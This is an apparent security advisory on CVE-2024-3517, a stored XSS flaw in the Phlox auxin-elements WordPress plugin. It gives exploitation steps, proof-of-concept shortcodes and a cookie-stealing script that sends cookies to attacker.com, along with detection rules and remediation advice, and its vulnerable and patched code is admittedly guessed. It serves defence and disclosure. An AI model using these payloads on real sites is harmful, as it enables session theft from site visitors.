CVE-2024-3517

Executive Summary

CVE-2024-3517 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The flaw exists in the Accordion Widget component, affecting all versions up to and including 2.15.5. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used with the Phlox theme, increasing the potential attack surface.

Supply Chain & Package Security

This vulnerability is a WordPress plugin issue. No NPM, PyPI, Go, or Ruby packages are directly involved. However, the plugin is distributed via the official WordPress plugin repository, making it a supply chain risk for any site using the Phlox theme. Users should monitor for updates from the vendor (Auxin) and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for script execution. While the CVSS score is Medium, the potential for widespread exploitation in WordPress environments makes this a high-priority issue for site administrators.

Deep Dive & Mechanics

The vulnerability resides in the Accordion Widget of the auxin-elements plugin. The widget accepts user-supplied content (e.g., titles, descriptions) that is not properly sanitized before being stored in the WordPress database. When the widget is rendered on a page, the unsanitized input is echoed directly into the HTML without proper escaping, allowing JavaScript execution.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a page/post.
2. The attacker inserts the Accordion Widget and injects a malicious payload into one of the widget fields (e.g., [accordion title="<script>alert('XSS')</script>"]).
3. The payload is stored in the database.
4. When any user (including administrators) visits the page, the script executes in their browser context.

The vulnerability is classified as Stored XSS (CWE-79) because the malicious script is permanently stored on the server and served to all visitors.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.15.5): The plugin likely uses a function like echo $title; without escaping. Example:

// In auxin-elements/includes/elements/accordion.php
echo '<h3 class="accordion-title">' . $title . '</h3>';

Patched Code (hypothetical): The fix would involve using WordPress's escaping functions:

echo '<h3 class="accordion-title">' . esc_html( $title ) . '</h3>';

Or using wp_kses_post() for rich content:

echo '<h3 class="accordion-title">' . wp_kses_post( $title ) . '</h3>';

Since no official patch is available, users must manually apply these escaping functions or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with auxin-elements plugin <= 2.15.5
• Attacker account with Contributor-level access or higher

Step-by-Step Exploitation:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one.
3. Add the Accordion Widget (via the page builder or shortcode).
4. In the title field, inject a payload such as:

   <img src=x onerror=alert(document.cookie)>
   

   Or for session hijacking:

   <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

5. Publish the page.
6. Wait for an administrator or other user to visit the page. The script executes automatically.

Proof-of-Concept (PoC) Shortcode:

[aux_accordion title="<script>alert('XSS')</script>"]Content[/aux_accordion]

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unusual shortcode usage in page/post content.
• Look for pages containing <script> tags or event handlers (e.g., onerror, onload) in widget fields.
• Use the detection rules provided below.

Mitigation:

• Immediately disable the auxin-elements plugin if no patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads in POST requests.
• Use WordPress security plugins (e.g., Wordfence) to scan for malicious content.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/auxin-elements/includes/elements/accordion.php (or similar path)
• Database: Rows in wp_posts or wp_postmeta containing <script> tags or event handlers in widget fields.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing creation/editing of pages by Contributor-level users with unusual shortcode parameters.

Detection Engineering

YARA Rule

rule CVE_2024_3517_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in auxin-elements plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3517"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $payload3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin_path = "auxin-elements"
    condition:
        any of ($payload*) and $plugin_path
}

Sigma Rule

title: CVE-2024-3517 Stored XSS in auxin-elements Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress pages using auxin-elements plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3517 Stored XSS in auxin-elements Plugin"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin"; http_uri; content:"auxin-elements"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete auxin-elements until a patch is released.
2. Audit existing content: Scan all pages and posts for injected scripts using the IOCs above.
3. Restrict user roles: Remove Contributor-level access from untrusted users.

Long-Term Fix:

• Apply input sanitization and output escaping to all widget fields in the plugin code (see patched code example).
• Monitor the vendor's website for an official update.

Workaround:

• Use a WordPress security plugin to block XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Valters IT
DevSecOps & Cyber Threat Intelligence